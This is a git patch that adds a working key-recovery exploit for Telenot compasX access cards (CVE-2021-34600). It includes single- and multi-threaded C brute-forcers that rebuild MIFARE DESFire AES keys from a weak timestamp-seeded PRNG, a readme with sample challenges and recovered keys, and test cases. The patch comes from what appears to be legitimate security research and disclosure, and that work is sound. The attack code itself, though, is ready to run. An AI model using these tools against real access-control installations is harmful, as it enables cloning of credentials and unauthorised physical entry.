From 2bac77a84fa42aafe00d483ed596f6234744d931 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 26 Jan 2022 19:57:10 +0100 Subject: [PATCH] add new bruteforce tools for teleno's compasX software --- .gitignore | 2 + CHANGELOG.md | 1 + Makefile | 11 +- tools/mfd_aes_brute/Makefile | 26 +++ tools/mfd_aes_brute/brute_key.c | 162 +++++++++++++++ tools/mfd_aes_brute/mfd_aes_brute.c | 292 ++++++++++++++++++++++++++++ tools/mfd_aes_brute/readme.txt | 62 ++++++ tools/mfd_aes_brute/util_posix.c | 137 +++++++++++++ tools/mfd_aes_brute/util_posix.h | 26 +++ tools/pm3_tests.sh | 14 +- 10 files changed, 731 insertions(+), 2 deletions(-) create mode 100644 tools/mfd_aes_brute/Makefile create mode 100644 tools/mfd_aes_brute/brute_key.c create mode 100644 tools/mfd_aes_brute/mfd_aes_brute.c create mode 100644 tools/mfd_aes_brute/readme.txt create mode 100644 tools/mfd_aes_brute/util_posix.c create mode 100644 tools/mfd_aes_brute/util_posix.h diff --git a/.gitignore b/.gitignore index e2c051377..b45eaf403 100644 --- a/.gitignore +++ b/.gitignore @@ -76,6 +76,8 @@ tools/cryptorf/sma_multi tools/mf_nonce_brute/mf_nonce_brute tools/mf_nonce_brute/mf_trace_brute tools/jtag_openocd/openocd_configuration +tools/mfd_aes_brute/mfd_aes_brute +tools/mfd_aes_brute/brute_key fpga/* !fpga/tests diff --git a/CHANGELOG.md b/CHANGELOG.md index 48551b4e7..cdd08bff7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added new tool `brute_key` - MIFARE DESFire Telenot access AES recovery (@x41sec) - Fixed `hf mfu dump -k` - insert PWD in dump (@doegox) - Changed `hf mfu pwdgen` - now generate xiaomi air purifier pwd/pack (@doegox) - Fixed `hf 14a sim` - sneaky detection of user supplied UID might be empty (@iceman1001) diff --git a/Makefile b/Makefile index f446e880e..f1c06b392 100644 --- a/Makefile +++ b/Makefile @@ -29,7 +29,7 @@ ifneq (,$(DESTDIR)) endif endif -all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% fpga_compress/% +all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% mfd_aes_brute/% fpga_compress/% # hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack" #all clean install uninstall check: %: hitag2crack/% @@ -105,6 +105,9 @@ nonce2key/check: FORCE mf_nonce_brute/check: FORCE $(info [*] CHECK $(patsubst %/check,%,$@)) $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) +mfd_aes_brute/check: FORCE + $(info [*] CHECK $(patsubst %/check,%,$@)) + $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) fpga_compress/check: FORCE $(info [*] CHECK $(patsubst %/check,%,$@)) $(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@) @@ -138,6 +141,9 @@ nonce2key/%: FORCE mf_nonce_brute/%: FORCE $(info [*] MAKE $@) $(Q)$(MAKE) --no-print-directory -C tools/mf_nonce_brute $(patsubst mf_nonce_brute/%,%,$@) DESTDIR=$(MYDESTDIR) +mfd_aes_brute/%: FORCE + $(info [*] MAKE $@) + $(Q)$(MAKE) --no-print-directory -C tools/mfd_aes_brute $(patsubst mfd_aes_brute/%,%,$@) DESTDIR=$(MYDESTDIR) fpga_compress/%: FORCE cleanifplatformchanged $(info [*] MAKE $@) $(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR) @@ -180,6 +186,7 @@ help: @echo "+ mfkey - Make tools/mfkey" @echo "+ nonce2key - Make tools/nonce2key" @echo "+ mf_nonce_brute - Make tools/mf_nonce_brute" + @echo "+ mf_aes_brute - Make tools/mfd_aes_brute" @echo "+ hitag2crack - Make tools/hitag2crack" @echo "+ fpga_compress - Make tools/fpga_compress" @echo @@ -218,6 +225,8 @@ nonce2key: nonce2key/all mf_nonce_brute: mf_nonce_brute/all +mfd_aes_brute: mfd_aes_brute/all + fpga_compress: fpga_compress/all hitag2crack: hitag2crack/all diff --git a/tools/mfd_aes_brute/Makefile b/tools/mfd_aes_brute/Makefile new file mode 100644 index 000000000..a8e11aecb --- /dev/null +++ b/tools/mfd_aes_brute/Makefile @@ -0,0 +1,26 @@ +MYSRCPATHS = ../../common ../../common/mbedtls +MYSRCS = util_posix.c +MYINCLUDES = -I../../include -I../../common -I../../common/mbedtls +MYCFLAGS = -march=native -Ofast +MYDEFS = +MYLDLIBS = -lcrypto +ifneq ($(SKIPPTHREAD),1) +MYLDLIBS += -lpthread +endif + + +BINS = brute_key mfd_aes_brute +INSTALLTOOLS = $(BINS) + +include ../../Makefile.host + +# checking platform can be done only after Makefile.host +ifneq (,$(findstring MINGW,$(platform))) + # Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z) + # and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1 + CFLAGS += -D_ISOC99_SOURCE +endif + +brute_key : $(OBJDIR)/brute_key.o $(MYOBJS) + +mfd_aes_brute : $(OBJDIR)/mfd_aes_brute.o $(MYOBJS) diff --git a/tools/mfd_aes_brute/brute_key.c b/tools/mfd_aes_brute/brute_key.c new file mode 100644 index 000000000..5db3feded --- /dev/null +++ b/tools/mfd_aes_brute/brute_key.c @@ -0,0 +1,162 @@ +// Brute forces transponder AES keys generated by Telenot's compasX software +// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// +// requires openssl-devel +// gcc -o brute_key -march=native -Ofast orginal.c -lcrypto +// +// usage: ./$s <16 byte tag challenge> <32 byte lock challenge> + +// makes it ~14% slower +//#define SPINNER + +#include +#include +#include +#include +#include +#include +#include + +uint32_t seed = 0; + +static uint32_t borland_rand(void) { + seed = (seed * 22695477) % UINT_MAX; + seed = (seed + 1) % UINT_MAX; + return (seed >> 16) & 0x7fff; +} + +static void borland_srand(uint32_t s) { + seed = s; + borland_rand(); +} + +static void make_key(uint32_t s, uint8_t key[]) { + borland_srand(s); + for (int i = 0; i < 16; i++) { + key[i] = borland_rand() % 0xFF; + } +} + +static void handleErrors(void) { + ERR_print_errors_fp(stderr); + abort(); +} + +// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message +static int decrypt(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) { + EVP_CIPHER_CTX *ctx; + int len; + int plaintext_len; + + if(!(ctx = EVP_CIPHER_CTX_new())) + handleErrors(); + + if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv)) + handleErrors(); + + EVP_CIPHER_CTX_set_padding(ctx, 0); + + if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) + handleErrors(); + plaintext_len = len; + + if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) + handleErrors(); + plaintext_len += len; + + EVP_CIPHER_CTX_free(ctx); + + return plaintext_len; +} + +static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) { + size_t hexstr_len = strlen(hexstr); + if (hexstr_len % 16) { + return 1; + } + if (byte_len < hexstr_len/2) { + return 2; + } + char *pos = &hexstr[0]; + for (size_t count = 0; *pos != 0; count++) { + sscanf(pos, "%2hhx", &bytes[count]); + pos += 2; + } + return 0; +} + +int main (int argc, char* argv[]) { + + uint8_t iv[16] = {0x00}; + uint8_t key[16] = {0x00}; + uint8_t dec_tag[16] = {0x00}; + uint8_t dec_rdr[32] = {0x00}; + uint8_t tag_challenge[16] = {0x00}; + uint8_t lock_challenge[32] = {0x00}; + + int timestamp = atoi(argv[1]); + + if (argc != 4) { + printf("\nusage: %s <16 byte tag challenge> <32 byte lock challenge>\n\n", argv[0]); + return 1; + } + + if(hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge))) + return 2; + + if(hexstr_to_byte_array(argv[3], lock_challenge, sizeof(lock_challenge))) + return 3; + + int start_time = time(NULL); + + for (; timestamp < start_time; timestamp++) { + + make_key(timestamp, key); + decrypt(tag_challenge, 16, key, iv, dec_tag); + decrypt(lock_challenge, 32, key, tag_challenge, dec_rdr); + + // check rol byte first + if (dec_tag[0] != dec_rdr[31]) continue; + + // compare rest + if (dec_tag[1] != dec_rdr[16]) continue; + if (dec_tag[2] != dec_rdr[17]) continue; + if (dec_tag[3] != dec_rdr[18]) continue; + if (dec_tag[4] != dec_rdr[19]) continue; + if (dec_tag[5] != dec_rdr[20]) continue; + if (dec_tag[6] != dec_rdr[21]) continue; + if (dec_tag[7] != dec_rdr[22]) continue; + if (dec_tag[8] != dec_rdr[23]) continue; + if (dec_tag[9] != dec_rdr[24]) continue; + if (dec_tag[10] != dec_rdr[25]) continue; + if (dec_tag[11] != dec_rdr[26]) continue; + if (dec_tag[12] != dec_rdr[27]) continue; + if (dec_tag[13] != dec_rdr[28]) continue; + if (dec_tag[14] != dec_rdr[29]) continue; + if (dec_tag[15] != dec_rdr[30]) continue; + + + printf("\btimestamp: %i\nkey: ", timestamp); + for (int i = 0; i < 16; i++) { + printf("%02x", key[i]); + } + printf("\n"); + exit(0); + + } + printf("key not found\n"); + exit(2); +} diff --git a/tools/mfd_aes_brute/mfd_aes_brute.c b/tools/mfd_aes_brute/mfd_aes_brute.c new file mode 100644 index 000000000..a10d43f7a --- /dev/null +++ b/tools/mfd_aes_brute/mfd_aes_brute.c @@ -0,0 +1,292 @@ +// Multi threaded bruteforce tool +// for transponder AES keys generated by Telenot's compasX software +// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn +// Copyright (C) 2022 Iceman +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +#define __STDC_FORMAT_MACROS + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "util_posix.h" + +#define AEND "\x1b[0m" +#define _RED_(s) "\x1b[31m" s AEND +#define _GREEN_(s) "\x1b[32m" s AEND +#define _YELLOW_(s) "\x1b[33m" s AEND +#define _CYAN_(s) "\x1b[36m" s AEND + +// a global mutex to prevent interlaced printing from different threads +pthread_mutex_t print_lock; + +static int global_found = 0; +static int thread_count = 2; + +typedef struct thread_args { + int thread; + int idx; + uint64_t starttime; + uint64_t stoptime; + uint8_t tag[16]; + uint8_t rdr[32]; +} targs; + +static void make_key(uint32_t seed, uint8_t key[]) { + + uint32_t lseed = seed; + lseed = (lseed * 22695477) % UINT_MAX; + lseed = (lseed + 1) % UINT_MAX; + + for (int i = 0; i < 16; i++) { + lseed = (lseed * 22695477) % UINT_MAX; + lseed = (lseed + 1) % UINT_MAX; + key[i] = ((lseed >> 16) & 0x7fff) % 0xFF; + } +} + +static void handleErrors(void) { + ERR_print_errors_fp(stderr); + abort(); +} + +// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message +static int decrypt_aes(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) { + EVP_CIPHER_CTX *ctx; + if (!(ctx = EVP_CIPHER_CTX_new())) + handleErrors(); + + if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv)) + handleErrors(); + + EVP_CIPHER_CTX_set_padding(ctx, 0); + + int len = 0; + if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len)) + handleErrors(); + + int plaintext_len = len; + + if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len)) + handleErrors(); + + plaintext_len += len; + + EVP_CIPHER_CTX_free(ctx); + return plaintext_len; +} + +static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) { + size_t hexstr_len = strlen(hexstr); + if (hexstr_len % 16) { + return 1; + } + + if (byte_len < (hexstr_len / 2)) { + return 2; + } + + char *pos = &hexstr[0]; + for (size_t count = 0; *pos != 0; count++) { + sscanf(pos, "%2hhx", &bytes[count]); + pos += 2; + } + return 0; +} + +static void print_hex(const uint8_t *data, const size_t len) { + if (data == NULL || len == 0) return; + + for (size_t i = 0; i < len; i++) { + printf("%02X", data[i]); + } + + printf("\n"); +} + +static void print_time(uint64_t at) { + + time_t t = at; + struct tm lt; + (void) localtime_r(&t, <); + + char res[32]; + strftime(res, sizeof(res), "%Y-%m-%d %H:%M:%S", <); + + printf("%u ( '%s' )\n", (unsigned)t, res); +} + +static void *brute_thread(void *arguments) { + + struct thread_args *args = (struct thread_args *) arguments; + + uint64_t starttime = args->starttime; + + uint64_t stoptime = args->stoptime; + uint8_t local_tag[16]; + uint8_t local_rdr[32]; + memcpy(local_tag, args->tag, 16); + memcpy(local_rdr, args->rdr, 32); + + for (uint64_t i = starttime + args->idx; i < stoptime; i += thread_count) { + + if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) { + break; + } + + uint8_t key[16] = {0x00}; + make_key(i, key); + + uint8_t iv[16] = {0x00}; + uint8_t dec_tag[16] = {0x00}; + decrypt_aes(local_tag, 16, key, iv, dec_tag); + + uint8_t dec_rdr[32] = {0x00}; + decrypt_aes(local_rdr, 32, key, local_tag, dec_rdr); + + // check rol byte first + if (dec_tag[0] != dec_rdr[31]) continue; + + // compare rest + if (dec_tag[1] != dec_rdr[16]) continue; + if (dec_tag[2] != dec_rdr[17]) continue; + if (dec_tag[3] != dec_rdr[18]) continue; + if (dec_tag[4] != dec_rdr[19]) continue; + if (dec_tag[5] != dec_rdr[20]) continue; + if (dec_tag[6] != dec_rdr[21]) continue; + if (dec_tag[7] != dec_rdr[22]) continue; + if (dec_tag[8] != dec_rdr[23]) continue; + if (dec_tag[9] != dec_rdr[24]) continue; + if (dec_tag[10] != dec_rdr[25]) continue; + if (dec_tag[11] != dec_rdr[26]) continue; + if (dec_tag[12] != dec_rdr[27]) continue; + if (dec_tag[13] != dec_rdr[28]) continue; + if (dec_tag[14] != dec_rdr[29]) continue; + if (dec_tag[15] != dec_rdr[30]) continue; + + __sync_fetch_and_add(&global_found, 1); + + // lock this section to avoid interlacing prints from different threats + pthread_mutex_lock(&print_lock); + + printf("Found timestamp........ "); + print_time(i); + + printf("key.................... \x1b[32m"); + print_hex(key, sizeof(key)); + printf(AEND); + + pthread_mutex_unlock(&print_lock); + break; + } + + free(args); + return NULL; +} + +static int usage(const char* s) { + printf(_YELLOW_("syntax:") "\n"); + printf(" %s <16 byte tag challenge> <32 byte reader response challenge>\n", s); + printf("\n"); + printf(_YELLOW_("example:") "\n"); + printf(" ./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c\n"); + printf("\n"); + return 1; +} + +int main (int argc, char* argv[]) { + + printf("\n"); + printf(_CYAN_("Telenot access MIFARE DESFire AES key recovery tool") "\n"); + printf("multi-threaded edition\n"); + printf("-----------------------------------------------------\n"); + printf("\n"); + + if (argc != 4) return usage(argv[0]); + + uint64_t start_time = atoi(argv[1]); + + uint8_t tag_challenge[16] = {0x00}; + if (hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge))) + return 2; + + uint8_t rdr_resp_challenge[32] = {0x00}; + if (hexstr_to_byte_array(argv[3], rdr_resp_challenge, sizeof(rdr_resp_challenge))) + return 3; + + printf("Starting timestamp..... "); + print_time(start_time); + + printf("Tag Challenge.......... "); + print_hex(tag_challenge, sizeof(tag_challenge)); + + printf("Rdr Resp & Challenge... "); + print_hex(rdr_resp_challenge, sizeof(rdr_resp_challenge)); + + + uint64_t t1 = msclock(); + +#if !defined(_WIN32) || !defined(__WIN32__) + thread_count = sysconf(_SC_NPROCESSORS_CONF); + if (thread_count < 2) + thread_count = 2; +#endif /* _WIN32 */ + + printf("\nBruteforce using " _YELLOW_("%d") " threads\n", thread_count); + + pthread_t threads[thread_count]; + + // create a mutex to avoid interlacing print commands from our different threads + pthread_mutex_init(&print_lock, NULL); + + // threads + uint64_t stop_time = time(NULL); + for (int i = 0; i < thread_count; ++i) { + struct thread_args *a = calloc(1, sizeof(struct thread_args)); + a->thread = i; + a->idx = i; + a->starttime = start_time; + a->stoptime = stop_time; + memcpy(a->tag, tag_challenge, 16); + memcpy(a->rdr, rdr_resp_challenge, 32); + pthread_create(&threads[i], NULL, brute_thread, (void *)a); + } + + // wait for threads to terminate: + for (int i = 0; i < thread_count; ++i) { + pthread_join(threads[i], NULL); + } + + if (global_found == false) { + printf("\n" _RED_("!!!") " failed to find a key\n\n"); + } + + t1 = msclock() - t1; + if (t1 > 0) { + printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0); + } + + // clean up mutex + pthread_mutex_destroy(&print_lock); + return 0; +} diff --git a/tools/mfd_aes_brute/readme.txt b/tools/mfd_aes_brute/readme.txt new file mode 100644 index 000000000..c69835609 --- /dev/null +++ b/tools/mfd_aes_brute/readme.txt @@ -0,0 +1,62 @@ +# AUTH AES +# +# blog: https://x41-dsec.de/lab/blog/telenot-complex-insecure-keygen/ +# +# Recover the AES key for Telenot Access system's desfire cards. +# CVE-2021-34600 +# +# Finds the UNIX timestamp an AES key created with compasX version older than 32.0 has been generated. +# Will not work on access tokens afterwards. +# + + +# Unix time stamp 2006-01-01 +1136073600 + +# reader challenge +3fda933e2953ca5e6cfbbf95d1b51ddf + +# tag resp, challenge +97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583 + + +# +# Original source code by authors +# + +# simple +./brute_key 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c + +# complex +./brute_key 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583 + + +# +# Multi threaded version (Iceman) +# + +# simple +./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c + +expected result: +261c07a23f2bc8262f69f10a5bdf3764 + + +Bruteforce using 8 threads +Found timestamp........ 1631100305 ( '2021-09-08 13:25:05' ) +key.................... 261c07a23f2bc8262f69f10a5bdf3764 +execution time 1.00 sec + +# +# complex +./mfd_aes_brute 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583 + +expected result: +e757178e13516a4f3171bc6ea85e165a + + +Bruteforce using 8 threads +Found timestamp........ 1606834416 ( '2020-12-01 15:53:36' ) +key.................... e757178e13516a4f3171bc6ea85e165a +execution time 18.54 sec + diff --git a/tools/mfd_aes_brute/util_posix.c b/tools/mfd_aes_brute/util_posix.c new file mode 100644 index 000000000..050040a32 --- /dev/null +++ b/tools/mfd_aes_brute/util_posix.c @@ -0,0 +1,137 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2010 iZsh +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// utilities requiring Posix library functions +//----------------------------------------------------------------------------- + +// ensure availability even with -std=c99; must be included before +#if !defined(_WIN32) +//#define _POSIX_C_SOURCE 199309L // need nanosleep() +#define _POSIX_C_SOURCE 200112L // need localtime_r() +#else +#include +#endif + +#include "util_posix.h" +#include +#include + + +// Timer functions +#if !defined (_WIN32) +#include + +static void nsleep(uint64_t n) { + struct timespec timeout; + timeout.tv_sec = n / 1000000000; + timeout.tv_nsec = n % 1000000000; + while (nanosleep(&timeout, &timeout) && errno == EINTR); +} + +void msleep(uint32_t n) { + nsleep(1000000 * (uint64_t)n); +} +#endif // _WIN32 + +#ifdef __APPLE__ + +#ifndef CLOCK_MONOTONIC +#define CLOCK_MONOTONIC (1) +#endif +#ifndef CLOCK_REALTIME +#define CLOCK_REALTIME (2) +#endif + +#include +#include +#include +#include + +/* clock_gettime is not implemented on OSX prior to 10.12 */ +int _civet_clock_gettime(int clk_id, struct timespec *t); + +int _civet_clock_gettime(int clk_id, struct timespec *t) { + memset(t, 0, sizeof(*t)); + if (clk_id == CLOCK_REALTIME) { + struct timeval now; + int rv = gettimeofday(&now, NULL); + if (rv) { + return rv; + } + t->tv_sec = now.tv_sec; + t->tv_nsec = now.tv_usec * 1000; + return 0; + + } else if (clk_id == CLOCK_MONOTONIC) { + static uint64_t clock_start_time = 0; + static mach_timebase_info_data_t timebase_info = {0, 0}; + + uint64_t now = mach_absolute_time(); + + if (clock_start_time == 0) { + + mach_timebase_info(&timebase_info); + clock_start_time = now; + } + + now = (uint64_t)((double)(now - clock_start_time) + * (double)timebase_info.numer + / (double)timebase_info.denom); + + t->tv_sec = now / 1000000000; + t->tv_nsec = now % 1000000000; + return 0; + } + return -1; // EINVAL - Clock ID is unknown +} + +/* if clock_gettime is declared, then __CLOCK_AVAILABILITY will be defined */ +#ifdef __CLOCK_AVAILABILITY +/* If we compiled with Mac OSX 10.12 or later, then clock_gettime will be declared + * but it may be NULL at runtime. So we need to check before using it. */ +int _civet_safe_clock_gettime(int clk_id, struct timespec *t); + +int _civet_safe_clock_gettime(int clk_id, struct timespec *t) { + if (clock_gettime) { + return clock_gettime(clk_id, t); + } + return _civet_clock_gettime(clk_id, t); +} +#define clock_gettime _civet_safe_clock_gettime +#else +#define clock_gettime _civet_clock_gettime +#endif + +#endif + + +// a milliseconds timer for performance measurement +uint64_t msclock(void) { +#if defined(_WIN32) +#include + + // WORKAROUND FOR MinGW (some versions - use if normal code does not compile) + // It has no _ftime_s and needs explicit inclusion of timeb.h +#include + struct _timeb t; + _ftime(&t); + return 1000 * (uint64_t)t.time + t.millitm; + +// NORMAL CODE (use _ftime_s) + //struct _timeb t; + //if (_ftime_s(&t)) { + // return 0; + //} else { + // return 1000 * t.time + t.millitm; + //} +#else + struct timespec t; + clock_gettime(CLOCK_MONOTONIC, &t); + return (1000 * (uint64_t)t.tv_sec + t.tv_nsec / 1000000); +#endif +} + diff --git a/tools/mfd_aes_brute/util_posix.h b/tools/mfd_aes_brute/util_posix.h new file mode 100644 index 000000000..546b4ea35 --- /dev/null +++ b/tools/mfd_aes_brute/util_posix.h @@ -0,0 +1,26 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2010 iZsh +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// utilities requiring Posix library functions +//----------------------------------------------------------------------------- + +#ifndef UTIL_POSIX_H__ +#define UTIL_POSIX_H__ + +#include "common.h" + +#ifdef _WIN32 +# include +# define sleep(n) Sleep(1000 *(n)) +# define msleep(n) Sleep((n)) +#else +void msleep(uint32_t n); // sleep n milliseconds +#endif // _WIN32 + +uint64_t msclock(void); // a milliseconds clock + +#endif diff --git a/tools/pm3_tests.sh b/tools/pm3_tests.sh index ed48e200f..1d308510c 100755 --- a/tools/pm3_tests.sh +++ b/tools/pm3_tests.sh @@ -12,6 +12,7 @@ TESTALL=true TESTMFKEY=false TESTNONCE2KEY=false TESTMFNONCEBRUTE=false +TESTMFDAESBRUTE=false TESTHITAG2CRACK=false TESTFPGACOMPRESS=false TESTBOOTROM=false @@ -26,7 +27,7 @@ while (( "$#" )); do case "$1" in -h|--help) echo """ -Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|fpga_compress|bootrom|armsrc|client|recovery|common] +Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key|mf_nonce_brute|mfd_aes_brute|fpga_compress|bootrom|armsrc|client|recovery|common] --long: Enable slow tests --opencl: Enable tests requiring OpenCL (preferably a Nvidia GPU) --clientbin ...: Specify path to proxmark3 binary to test @@ -66,6 +67,11 @@ Usage: $0 [--long] [--opencl] [--clientbin /path/to/proxmark3] [mfkey|nonce2key| TESTMFNONCEBRUTE=true shift ;; + mfd_aes_brute) + TESTALL=false + TESTMFDAESBRUTE=true + shift + ;; fpga_compress) TESTALL=false TESTFPGACOMPRESS=true @@ -281,6 +287,12 @@ while true; do if ! CheckFileExist "mf_nonce_brute exists" "$MFNONCEBRUTEBIN"; then break; fi if ! CheckExecute slow "mf_nonce_brute test 1/2" "$MFNONCEBRUTEBIN 9c599b32 5a920d85 1011 98d76b77 d6c6e870 0000 ca7e0b63 0111 3e709c8a" "Key found \[.*ffffffffffff.*\]"; then break; fi if ! CheckExecute slow "mf_nonce_brute test 2/2" "$MFNONCEBRUTEBIN 96519578 d7e3c6ac 0011 cd311951 9da49e49 0010 2bb22e00 0100 a4f7f398" "Key found \[.*3b7e4fd575ad.*\]"; then break; fi + fi + if $TESTALL || $TESTMFDAESBRUTE; then + echo -e "\n${C_BLUE}Testing mfd_aes_brute:${C_NC} ${MFDASEBRUTEBIN:=./tools/mfd_aes_brute/mfd_aes_brute}" + if ! CheckFileExist "mfd_aes_brute exists" "$MFDASEBRUTEBIN"; then break; fi + if ! CheckExecute "mfd_aes_brute test 1/2" "$MFDASEBRUTEBIN 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c" "key.................... 261c07a23f2bc8262f69f10a5bdf3764"; then break; fi + if ! CheckExecute slow "mfd_aes_brute test 2/2" "$MFDASEBRUTEBIN 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583" "key.................... e757178e13516a4f3171bc6ea85e165a"; then break; fi fi # hitag2crack not yet part of "all" # if $TESTALL || $TESTHITAG2CRACK; then